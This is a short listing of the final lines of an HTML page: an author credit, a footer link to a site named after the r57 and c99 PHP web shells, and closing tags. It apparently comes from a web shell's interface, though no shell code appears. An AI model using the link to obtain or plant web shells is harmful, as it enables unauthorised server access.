1486 | Hossein-Asgari<br> | |
1487 | ||
1488 | ||
1489 | ||
1490 | </font><font color="#c0c0c0" size="1" face="Tahoma"> | |
1491 | ||
1492 | ||
1493 | ||
1494 | <a style="TEXT-DECORATION: none" href="http://www.r57c99.com"> | |
1495 | ||
1496 | ||
1497 | ||
1498 | <font color="#666666">www.r57c99.com</font></a></font></td> | |
1499 | ||
1500 | ||
1501 | ||
1502 | </tr> | |
1503 | ||
1504 | ||
1505 | ||
1506 | </table> | |
1507 | ||
1508 | ||
1509 | ||
1510 | </div> | |
1511 | ||
1512 | ||
1513 | ||
1514 | ||
1515 | ||
1516 | ||
1517 | ||
1518 | </body> | |
1519 | ||
1520 | ||
1521 | ||
1522 | ||
1523 | ||
1524 | ||
1525 | ||
1526 | </html> |